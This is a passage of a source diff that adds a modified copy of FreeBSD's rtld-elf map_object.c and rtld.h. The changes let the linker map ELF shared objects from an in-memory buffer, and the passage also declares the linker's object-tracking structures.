#ifdef COMPAT_32BIT
|
||||||
|
char * lm_findn (const char *, const char *, const int);
|
||||||
|
#endif
|
|
@ -0,0 +1,399 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 1996-1998 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/map_object.c 195743 2009-07-17 19:32:04Z kib $
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <sys/param.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
|
||||||
|
#include <errno.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include "debug.h"
|
||||||
|
#include "rtld.h"
|
||||||
|
|
||||||
|
static Elf_Ehdr *get_elf_header(const char *path, char *buf, ssize_t nbytes);
|
||||||
|
static int convert_prot(int); /* Elf flags -> mmap protection */
|
||||||
|
static int convert_flags(int); /* Elf flags -> mmap flags */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Map a shared object into memory. The "fd" argument is a file descriptor,
|
||||||
|
* which must be open on the object and positioned at its beginning.
|
||||||
|
* The "path" argument is a pathname that is used only for error messages.
|
||||||
|
*
|
||||||
|
* The return value is a pointer to a newly-allocated Obj_Entry structure
|
||||||
|
* for the shared object. Returns NULL on failure.
|
||||||
|
*/
|
||||||
|
Obj_Entry *
|
||||||
|
map_object(const char *path, char *buf, ssize_t size)
|
||||||
|
{
|
||||||
|
Obj_Entry *obj;
|
||||||
|
Elf_Ehdr *hdr;
|
||||||
|
int i;
|
||||||
|
Elf_Phdr *phdr;
|
||||||
|
Elf_Phdr *phlimit;
|
||||||
|
Elf_Phdr **segs;
|
||||||
|
int nsegs;
|
||||||
|
Elf_Phdr *phdyn;
|
||||||
|
Elf_Phdr *phinterp;
|
||||||
|
Elf_Phdr *phtls;
|
||||||
|
caddr_t mapbase;
|
||||||
|
size_t mapsize;
|
||||||
|
Elf_Off base_offset;
|
||||||
|
Elf_Addr base_vaddr;
|
||||||
|
Elf_Addr base_vlimit;
|
||||||
|
caddr_t base_addr;
|
||||||
|
Elf_Off data_offset;
|
||||||
|
Elf_Addr data_vaddr;
|
||||||
|
Elf_Addr data_vlimit;
|
||||||
|
caddr_t data_addr;
|
||||||
|
int data_prot;
|
||||||
|
int data_flags;
|
||||||
|
Elf_Addr clear_vaddr;
|
||||||
|
caddr_t clear_addr;
|
||||||
|
caddr_t clear_page;
|
||||||
|
Elf_Addr phdr_vaddr;
|
||||||
|
size_t nclear, phsize;
|
||||||
|
Elf_Addr bss_vaddr;
|
||||||
|
Elf_Addr bss_vlimit;
|
||||||
|
caddr_t bss_addr;
|
||||||
|
|
||||||
|
|
||||||
|
hdr = get_elf_header(path, buf, size);
|
||||||
|
if (hdr == NULL)
|
||||||
|
return (NULL);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Scan the program header entries, and save key information.
|
||||||
|
*
|
||||||
|
* We expect that the loadable segments are ordered by load address.
|
||||||
|
*/
|
||||||
|
phdr = (Elf_Phdr *) ((char *)hdr + hdr->e_phoff);
|
||||||
|
phsize = hdr->e_phnum * sizeof (phdr[0]);
|
||||||
|
phlimit = phdr + hdr->e_phnum;
|
||||||
|
nsegs = -1;
|
||||||
|
phdyn = phinterp = phtls = NULL;
|
||||||
|
phdr_vaddr = 0;
|
||||||
|
segs = alloca(sizeof(segs[0]) * hdr->e_phnum);
|
||||||
|
while (phdr < phlimit) {
|
||||||
|
switch (phdr->p_type) {
|
||||||
|
|
||||||
|
case PT_INTERP:
|
||||||
|
phinterp = phdr;
|
||||||
|
break;
|
||||||
|
|
||||||
|
case PT_LOAD:
|
||||||
|
segs[++nsegs] = phdr;
|
||||||
|
if ((segs[nsegs]->p_align & (PAGE_SIZE - 1)) != 0) {
|
||||||
|
_rtld_error("%s: PT_LOAD segment %d not page-aligned",
|
||||||
|
path, nsegs);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case PT_PHDR:
|
||||||
|
phdr_vaddr = phdr->p_vaddr;
|
||||||
|
phsize = phdr->p_memsz;
|
||||||
|
break;
|
||||||
|
|
||||||
|
case PT_DYNAMIC:
|
||||||
|
phdyn = phdr;
|
||||||
|
break;
|
||||||
|
|
||||||
|
case PT_TLS:
|
||||||
|
phtls = phdr;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
++phdr;
|
||||||
|
}
|
||||||
|
if (phdyn == NULL) {
|
||||||
|
_rtld_error("%s: object is not dynamically-linked", path);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (nsegs < 0) {
|
||||||
|
_rtld_error("%s: too few PT_LOAD segments", path);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Map the entire address space of the object, to stake out our
|
||||||
|
* contiguous region, and to establish the base address for relocation.
|
||||||
|
*/
|
||||||
|
base_offset = trunc_page(segs[0]->p_offset);
|
||||||
|
base_vaddr = trunc_page(segs[0]->p_vaddr);
|
||||||
|
base_vlimit = round_page(segs[nsegs]->p_vaddr + segs[nsegs]->p_memsz);
|
||||||
|
mapsize = base_vlimit - base_vaddr;
|
||||||
|
base_addr = hdr->e_type == ET_EXEC ? (caddr_t) base_vaddr : NULL;
|
||||||
|
|
||||||
|
mapbase = mmap(base_addr, mapsize, PROT_NONE, MAP_ANON | MAP_PRIVATE |
|
||||||
|
MAP_NOCORE, -1, 0);
|
||||||
|
if (mapbase == (caddr_t) -1) {
|
||||||
|
_rtld_error("%s: mmap of entire address space failed: %s",
|
||||||
|
path, strerror(errno));
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (base_addr != NULL && mapbase != base_addr) {
|
||||||
|
_rtld_error("%s: mmap returned wrong address: wanted %p, got %p",
|
||||||
|
path, base_addr, mapbase);
|
||||||
|
munmap(mapbase, mapsize);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i <= nsegs; i++) {
|
||||||
|
size_t data_vsize;
|
||||||
|
|
||||||
|
/* Overlay the segment onto the proper region. */
|
||||||
|
data_offset = trunc_page(segs[i]->p_offset);
|
||||||
|
data_vaddr = trunc_page(segs[i]->p_vaddr);
|
||||||
|
data_vlimit = round_page(segs[i]->p_vaddr + segs[i]->p_filesz);
|
||||||
|
data_addr = mapbase + (data_vaddr - base_vaddr);
|
||||||
|
data_prot = convert_prot(segs[i]->p_flags) | PROT_WRITE;
|
||||||
|
data_vsize = data_vlimit - data_vaddr;
|
||||||
|
data_flags = convert_flags(segs[i]->p_flags) | \
|
||||||
|
MAP_FIXED | MAP_ANON | MAP_PRIVATE;
|
||||||
|
if (mmap(data_addr, data_vsize, data_prot, data_flags,
|
||||||
|
-1, data_offset) == (caddr_t) -1) {
|
||||||
|
_rtld_error("%s: mmap of data failed: %s", path, strerror(errno));
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
bcopy(buf + data_offset, data_addr, MIN(data_vsize, (size - data_offset)));
|
||||||
|
|
||||||
|
/* Do BSS setup */
|
||||||
|
if (segs[i]->p_filesz != segs[i]->p_memsz) {
|
||||||
|
|
||||||
|
/* Clear any BSS in the last page of the segment. */
|
||||||
|
clear_vaddr = segs[i]->p_vaddr + segs[i]->p_filesz;
|
||||||
|
clear_addr = mapbase + (clear_vaddr - base_vaddr);
|
||||||
|
clear_page = mapbase + (trunc_page(clear_vaddr) - base_vaddr);
|
||||||
|
|
||||||
|
if ((nclear = data_vlimit - clear_vaddr) > 0) {
|
||||||
|
/* Make sure the end of the segment is writable */
|
||||||
|
if ((data_prot & PROT_WRITE) == 0 && -1 ==
|
||||||
|
mprotect(clear_page, PAGE_SIZE, data_prot|PROT_WRITE)) {
|
||||||
|
_rtld_error("%s: mprotect failed: %s", path,
|
||||||
|
strerror(errno));
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(clear_addr, 0, nclear);
|
||||||
|
|
||||||
|
/* Reset the data protection back */
|
||||||
|
if ((data_prot & PROT_WRITE) == 0)
|
||||||
|
mprotect(clear_page, PAGE_SIZE, data_prot);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Overlay the BSS segment onto the proper region. */
|
||||||
|
bss_vaddr = data_vlimit;
|
||||||
|
bss_vlimit = round_page(segs[i]->p_vaddr + segs[i]->p_memsz);
|
||||||
|
bss_addr = mapbase + (bss_vaddr - base_vaddr);
|
||||||
|
if (bss_vlimit > bss_vaddr) { /* There is something to do */
|
||||||
|
if (mprotect(bss_addr, bss_vlimit - bss_vaddr, data_prot) == -1) {
|
||||||
|
_rtld_error("%s: mprotect of bss failed: %s", path,
|
||||||
|
strerror(errno));
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (phdr_vaddr == 0 && data_offset <= hdr->e_phoff &&
|
||||||
|
(data_vlimit - data_vaddr + data_offset) >=
|
||||||
|
(hdr->e_phoff + hdr->e_phnum * sizeof (Elf_Phdr))) {
|
||||||
|
phdr_vaddr = data_vaddr + hdr->e_phoff - data_offset;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
obj = obj_new();
|
||||||
|
obj->mapbase = mapbase;
|
||||||
|
obj->mapsize = mapsize;
|
||||||
|
obj->textsize = round_page(segs[0]->p_vaddr + segs[0]->p_memsz) -
|
||||||
|
base_vaddr;
|
||||||
|
obj->vaddrbase = base_vaddr;
|
||||||
|
obj->relocbase = mapbase - base_vaddr;
|
||||||
|
obj->dynamic = (const Elf_Dyn *) (obj->relocbase + phdyn->p_vaddr);
|
||||||
|
if (hdr->e_entry != 0)
|
||||||
|
obj->entry = (caddr_t) (obj->relocbase + hdr->e_entry);
|
||||||
|
if (phdr_vaddr != 0) {
|
||||||
|
obj->phdr = (const Elf_Phdr *) (obj->relocbase + phdr_vaddr);
|
||||||
|
} else {
|
||||||
|
obj->phdr = malloc(phsize);
|
||||||
|
if (obj->phdr == NULL) {
|
||||||
|
obj_free(obj);
|
||||||
|
_rtld_error("%s: cannot allocate program header", path);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
memcpy((char *)obj->phdr, (char *)hdr + hdr->e_phoff, phsize);
|
||||||
|
obj->phdr_alloc = true;
|
||||||
|
}
|
||||||
|
obj->phsize = phsize;
|
||||||
|
if (phinterp != NULL)
|
||||||
|
obj->interp = (const char *) (obj->relocbase + phinterp->p_vaddr);
|
||||||
|
if (phtls != NULL) {
|
||||||
|
tls_dtv_generation++;
|
||||||
|
obj->tlsindex = ++tls_max_index;
|
||||||
|
obj->tlssize = phtls->p_memsz;
|
||||||
|
obj->tlsalign = phtls->p_align;
|
||||||
|
obj->tlsinitsize = phtls->p_filesz;
|
||||||
|
obj->tlsinit = mapbase + phtls->p_vaddr;
|
||||||
|
}
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
|
|
||||||
|
static Elf_Ehdr *
|
||||||
|
get_elf_header (const char *path, char *buf, ssize_t nbytes)
|
||||||
|
{
|
||||||
|
Elf_Ehdr hdr = *(Elf_Ehdr *)buf;
|
||||||
|
|
||||||
|
/* Make sure the file is valid */
|
||||||
|
if (nbytes < (ssize_t)sizeof(Elf_Ehdr) || !IS_ELF(hdr)) {
|
||||||
|
_rtld_error("%s: invalid file format", path);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (hdr.e_ident[EI_CLASS] != ELF_TARG_CLASS
|
||||||
|
|| hdr.e_ident[EI_DATA] != ELF_TARG_DATA) {
|
||||||
|
_rtld_error("%s: unsupported file layout", path);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (hdr.e_ident[EI_VERSION] != EV_CURRENT
|
||||||
|
|| hdr.e_version != EV_CURRENT) {
|
||||||
|
_rtld_error("%s: unsupported file version", path);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (hdr.e_type != ET_EXEC && hdr.e_type != ET_DYN) {
|
||||||
|
_rtld_error("%s: unsupported file type", path);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (hdr.e_machine != ELF_TARG_MACH) {
|
||||||
|
_rtld_error("%s: unsupported machine", path);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* We rely on the program header being in the first page. This is
|
||||||
|
* not strictly required by the ABI specification, but it seems to
|
||||||
|
* always true in practice. And, it simplifies things considerably.
|
||||||
|
*/
|
||||||
|
if (hdr.e_phentsize != sizeof(Elf_Phdr)) {
|
||||||
|
_rtld_error(
|
||||||
|
"%s: invalid shared object: e_phentsize != sizeof(Elf_Phdr)", path);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (hdr.e_phoff + hdr.e_phnum * sizeof(Elf_Phdr) > (size_t)nbytes) {
|
||||||
|
_rtld_error("%s: program header too large", path);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return (Elf_Ehdr *)buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
obj_free(Obj_Entry *obj)
|
||||||
|
{
|
||||||
|
Objlist_Entry *elm;
|
||||||
|
|
||||||
|
if (obj->tls_done)
|
||||||
|
free_tls_offset(obj);
|
||||||
|
while (obj->needed != NULL) {
|
||||||
|
Needed_Entry *needed = obj->needed;
|
||||||
|
obj->needed = needed->next;
|
||||||
|
free(needed);
|
||||||
|
}
|
||||||
|
while (!STAILQ_EMPTY(&obj->names)) {
|
||||||
|
Name_Entry *entry = STAILQ_FIRST(&obj->names);
|
||||||
|
STAILQ_REMOVE_HEAD(&obj->names, link);
|
||||||
|
free(entry);
|
||||||
|
}
|
||||||
|
while (!STAILQ_EMPTY(&obj->dldags)) {
|
||||||
|
elm = STAILQ_FIRST(&obj->dldags);
|
||||||
|
STAILQ_REMOVE_HEAD(&obj->dldags, link);
|
||||||
|
free(elm);
|
||||||
|
}
|
||||||
|
while (!STAILQ_EMPTY(&obj->dagmembers)) {
|
||||||
|
elm = STAILQ_FIRST(&obj->dagmembers);
|
||||||
|
STAILQ_REMOVE_HEAD(&obj->dagmembers, link);
|
||||||
|
free(elm);
|
||||||
|
}
|
||||||
|
if (obj->vertab)
|
||||||
|
free(obj->vertab);
|
||||||
|
if (obj->origin_path)
|
||||||
|
free(obj->origin_path);
|
||||||
|
if (obj->z_origin)
|
||||||
|
free(obj->rpath);
|
||||||
|
if (obj->priv)
|
||||||
|
free(obj->priv);
|
||||||
|
if (obj->path)
|
||||||
|
free(obj->path);
|
||||||
|
if (obj->phdr_alloc)
|
||||||
|
free((void *)obj->phdr);
|
||||||
|
free(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
Obj_Entry *
|
||||||
|
obj_new(void)
|
||||||
|
{
|
||||||
|
Obj_Entry *obj;
|
||||||
|
|
||||||
|
obj = CNEW(Obj_Entry);
|
||||||
|
STAILQ_INIT(&obj->dldags);
|
||||||
|
STAILQ_INIT(&obj->dagmembers);
|
||||||
|
STAILQ_INIT(&obj->names);
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Given a set of ELF protection flags, return the corresponding protection
|
||||||
|
* flags for MMAP.
|
||||||
|
*/
|
||||||
|
static int
|
||||||
|
convert_prot(int elfflags)
|
||||||
|
{
|
||||||
|
int prot = 0;
|
||||||
|
if (elfflags & PF_R)
|
||||||
|
prot |= PROT_READ;
|
||||||
|
if (elfflags & PF_W)
|
||||||
|
prot |= PROT_WRITE;
|
||||||
|
if (elfflags & PF_X)
|
||||||
|
prot |= PROT_EXEC;
|
||||||
|
return prot;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int
|
||||||
|
convert_flags(int elfflags)
|
||||||
|
{
|
||||||
|
int flags = MAP_PRIVATE; /* All mappings are private */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Readonly mappings are marked "MAP_NOCORE", because they can be
|
||||||
|
* reconstructed by a debugger.
|
||||||
|
*/
|
||||||
|
if (!(elfflags & PF_W))
|
||||||
|
flags |= MAP_NOCORE;
|
||||||
|
return flags;
|
||||||
|
}
|
|
@ -0,0 +1,314 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 1996, 1997, 1998, 1999, 2000 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/rtld.h 194531 2009-06-20 14:16:41Z kan $
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef RTLD_H /* { */
|
||||||
|
#define RTLD_H 1
|
||||||
|
|
||||||
|
#define IN_LIBLOADER
|
||||||
|
#include <sys/link_elf.h>
|
||||||
|
|
||||||
|
#include <sys/queue.h>
|
||||||
|
|
||||||
|
#include "rtld_lock.h"
|
||||||
|
#include "rtld_machdep.h"
|
||||||
|
|
||||||
|
#ifdef COMPAT_32BIT
|
||||||
|
#undef STANDARD_LIBRARY_PATH
|
||||||
|
#undef _PATH_ELF_HINTS
|
||||||
|
#define _PATH_ELF_HINTS "/var/run/ld-elf32.so.hints"
|
||||||
|
/* For running 32 bit binaries */
|
||||||
|
#define STANDARD_LIBRARY_PATH "/lib32:/usr/lib32"
|
||||||
|
#define LD_ "LD_32_"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef STANDARD_LIBRARY_PATH
|
||||||
|
#define STANDARD_LIBRARY_PATH "/lib:/usr/lib"
|
||||||
|
#endif
|
||||||
|
#ifndef LD_
|
||||||
|
#define LD_ "LD_"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define NEW(type) ((type *) xmalloc(sizeof(type)))
|
||||||
|
#define CNEW(type) ((type *) xcalloc(sizeof(type)))
|
||||||
|
|
||||||
|
/* We might as well do booleans like C++. */
|
||||||
|
typedef unsigned char bool;
|
||||||
|
#define false 0
|
||||||
|
#define true 1
|
||||||
|
|
||||||
|
extern size_t tls_last_offset;
|
||||||
|
extern size_t tls_last_size;
|
||||||
|
extern size_t tls_static_space;
|
||||||
|
extern int tls_dtv_generation;
|
||||||
|
extern int tls_max_index;
|
||||||
|
extern int __loader_socket;
|
||||||
|
|
||||||
|
struct stat;
|
||||||
|
struct Struct_Obj_Entry;
|
||||||
|
|
||||||
|
/* Lists of shared objects */
|
||||||
|
typedef struct Struct_Objlist_Entry {
|
||||||
|
STAILQ_ENTRY(Struct_Objlist_Entry) link;
|
||||||
|
struct Struct_Obj_Entry *obj;
|
||||||
|
} Objlist_Entry;
|
||||||
|
|
||||||
|
typedef STAILQ_HEAD(Struct_Objlist, Struct_Objlist_Entry) Objlist;
|
||||||
|
|
||||||
|
/* Types of init and fini functions */
|
||||||
|
typedef void (*InitFunc)(void);
|
||||||
|
|
||||||
|
/* Lists of shared object dependencies */
|
||||||
|
typedef struct Struct_Needed_Entry {
|
||||||
|
struct Struct_Needed_Entry *next;
|
||||||
|
struct Struct_Obj_Entry *obj;
|
||||||
|
unsigned long name; /* Offset of name in string table */
|
||||||
|
} Needed_Entry;
|
||||||
|
|
||||||
|
typedef struct Struct_Name_Entry {
|
||||||
|
STAILQ_ENTRY(Struct_Name_Entry) link;
|
||||||
|
char name[1];
|
||||||
|
} Name_Entry;
|
||||||
|
|
||||||
|
/* Lock object */
|
||||||
|
typedef struct Struct_LockInfo {
|
||||||
|
void *context; /* Client context for creating locks */
|
||||||
|
void *thelock; /* The one big lock */
|
||||||
|
/* Debugging aids. */
|
||||||
|
volatile int rcount; /* Number of readers holding lock */
|
||||||
|
volatile int wcount; /* Number of writers holding lock */
|
||||||
|
/* Methods */
|
||||||
|
void *(*lock_create)(void *context);
|
||||||
|
void (*rlock_acquire)(void *lock);
|
||||||
|
void (*wlock_acquire)(void *lock);
|
||||||
|
void (*rlock_release)(void *lock);
|
||||||
|
void (*wlock_release)(void *lock);
|
||||||
|
void (*lock_destroy)(void *lock);
|
||||||
|
void (*context_destroy)(void *context);
|
||||||
|
} LockInfo;
|
||||||
|
|
||||||
|
typedef struct Struct_Ver_Entry {
|
||||||
|
Elf_Word hash;
|
||||||
|
unsigned int flags;
|
||||||
|
const char *name;
|
||||||
|
const char *file;
|
||||||
|
} Ver_Entry;
|
||||||
|
|
||||||
|
#define VER_INFO_HIDDEN 0x01
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Shared object descriptor.
|
||||||
|
*
|
||||||
|
* Items marked with "(%)" are dynamically allocated, and must be freed
|
||||||
|
* when the structure is destroyed.
|
||||||
|
*
|
||||||
|
* CAUTION: It appears that the JDK port peeks into these structures.
|
||||||
|
* It looks at "next" and "mapbase" at least. Don't add new members
|
||||||
|
* near the front, until this can be straightened out.
|
||||||
|
*/
|
||||||
|
typedef struct Struct_Obj_Entry {
|
||||||
|
/*
|
||||||
|
* These two items have to be set right for compatibility with the
|
||||||
|
* original ElfKit crt1.o.
|
||||||
|
*/
|
||||||
|
Elf_Size magic; /* Magic number (sanity check) */
|
||||||
|
Elf_Size version; /* Version number of struct format */
|
||||||
|
|
||||||
|
struct Struct_Obj_Entry *next;
|
||||||
|
char *path; /* Pathname of underlying file (%) */
|
||||||
|
char *origin_path; /* Directory path of origin file */
|
||||||
|
int refcount;
|
||||||
|
int dl_refcount; /* Number of times loaded by dlopen */
|
||||||
|
|
||||||
|
/* These items are computed by map_object() or by digest_phdr(). */
|
||||||
|
caddr_t mapbase; /* Base address of mapped region */
|
||||||
|
size_t mapsize; /* Size of mapped region in bytes */
|
||||||
|
size_t textsize; /* Size of text segment in bytes */
|
||||||
|
Elf_Addr vaddrbase; /* Base address in shared object file */
|
||||||
|
caddr_t relocbase; /* Relocation constant = mapbase - vaddrbase */
|
||||||
|
const Elf_Dyn *dynamic; /* Dynamic section */
|
||||||
|
caddr_t entry; /* Entry point */
|
||||||
|
const Elf_Phdr *phdr; /* Program header if it is mapped, else NULL */
|
||||||
|
size_t phsize; /* Size of program header in bytes */
|
||||||
|
const char *interp; /* Pathname of the interpreter, if any */
|
||||||
|
|
||||||
|
/* TLS information */
|
||||||
|
int tlsindex; /* Index in DTV for this module */
|
||||||
|
void *tlsinit; /* Base address of TLS init block */
|
||||||
|
size_t tlsinitsize; /* Size of TLS init block for this module */
|
||||||
|
size_t tlssize; /* Size of TLS block for this module */
|
||||||
|
size_t tlsoffset; /* Offset of static TLS block for this module */
|
||||||
|
size_t tlsalign; /* Alignment of static TLS block */
|
||||||
|
|
||||||
|
/* Items from the dynamic section. */
|
||||||
|
Elf_Addr *pltgot; /* PLT or GOT, depending on architecture */
|
||||||
|
const Elf_Rel *rel; /* Relocation entries */
|
||||||
|
unsigned long relsize; /* Size in bytes of relocation info */
|
||||||
|
const Elf_Rela *rela; /* Relocation entries with addend */
|
||||||
|
unsigned long relasize; /* Size in bytes of addend relocation info */
|
||||||
|
const Elf_Rel *pltrel; /* PLT relocation entries */
|
||||||
|
unsigned long pltrelsize; /* Size in bytes of PLT relocation info */
|
||||||
|
const Elf_Rela *pltrela; /* PLT relocation entries with addend */
|
||||||
|
unsigned long pltrelasize; /* Size in bytes of PLT addend reloc info */
|
||||||
|
const Elf_Sym *symtab; /* Symbol table */
|
||||||
|
const char *strtab; /* String table */
|
||||||
|
unsigned long strsize; /* Size in bytes of string table */
|
||||||
|
#ifdef __mips__
|
||||||
|
Elf_Word local_gotno; /* Number of local GOT entries */
|
||||||
|
Elf_Word symtabno; /* Number of dynamic symbols */
|
||||||
|
Elf_Word gotsym; /* First dynamic symbol in GOT */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
const Elf_Verneed *verneed; /* Required versions. */
|
||||||
|
Elf_Word verneednum; /* Number of entries in verneed table */
|
||||||
|
const Elf_Verdef *verdef; /* Provided versions. */
|
||||||
|
Elf_Word verdefnum; /* Number of entries in verdef table */
|
||||||
|
const Elf_Versym *versyms; /* Symbol versions table */
|
||||||
|
|
||||||
|
union
|
||||||
|
{
|
||||||
|
const Elf32_Word *gnu_buckets;
|
||||||
|
const Elf_Hashelt *chains;/* Hash table chain array */
|
||||||
|
};
|
||||||
|
union
|
||||||
|
{
|
||||||
|
const Elf32_Word *gnu_chain_zero;
|
||||||
|
const Elf_Hashelt *buckets; /* Hash table buckets array */
|
||||||
|
};
|
||||||
|
|
||||||
|
unsigned long nbuckets; /* Number of buckets */
|
||||||
|
unsigned long nchains; /* Number of chains */
|
||||||
|
|
||||||
|
Elf32_Word gnu_bitmask_idxbits;
|
||||||
|
Elf32_Word gnu_shift;
|
||||||
|
const Elf_Addr *gnu_bitmask;
|
||||||
|
|
||||||
|
char *rpath; /* Search path specified in object */
|
||||||
|
Needed_Entry *needed; /* Shared objects needed by this one (%) */
|
||||||
|
|
||||||
|
STAILQ_HEAD(, Struct_Name_Entry) names; /* List of names for this object we
|
||||||
|
know about. */
|
||||||
|
Ver_Entry *vertab; /* Versions required /defined by this object */
|
||||||
|
int vernum; /* Number of entries in vertab */
|
||||||
|
|
||||||
|
Elf_Addr init; /* Initialization function to call */
|
||||||
|
Elf_Addr fini; /* Termination function to call */
|
||||||
|
|
||||||
|
bool mainprog : 1; /* True if this is the main program */
|
||||||
|
bool rtld : 1; /* True if this is the dynamic linker */
|
||||||
|
bool textrel : 1; /* True if there are relocations to text seg */
|
||||||
|
bool symbolic : 1; /* True if generated with "-Bsymbolic" */
|
||||||
|
bool bind_now : 1; /* True if all relocations should be made first */
|
||||||
|
bool traced : 1; /* Already printed in ldd trace output */
|
||||||
|
bool jmpslots_done : 1; /* Already have relocated the jump slots */
|
||||||
|
bool init_done : 1; /* Already have added object to init list */
|
||||||
|
bool tls_done : 1; /* Already allocated offset for static TLS */
|
||||||
|
bool phdr_alloc : 1; /* Phdr is allocated and needs to be freed. */
|
||||||
|
bool z_origin : 1; /* Process rpath and soname tokens */
|
||||||
|
bool z_nodelete : 1; /* Do not unload the object and dependencies */
|
||||||
|
bool ref_nodel : 1; /* Refcount increased to prevent dlclose */
|
||||||
|
bool init_scanned: 1; /* Object is already on init list. */
|
||||||
|
bool on_fini_list: 1; /* Object is already on fini list. */
|
||||||
|
|
||||||
|
struct link_map linkmap; /* For GDB and dlinfo() */
|
||||||
|
Objlist dldags; /* Object belongs to these dlopened DAGs (%) */
|
||||||
|
Objlist dagmembers; /* DAG has these members (%) */
|
||||||
|
dev_t dev; /* Object's filesystem's device */
|
||||||
|
ino_t ino; /* Object's inode number */
|
||||||
|
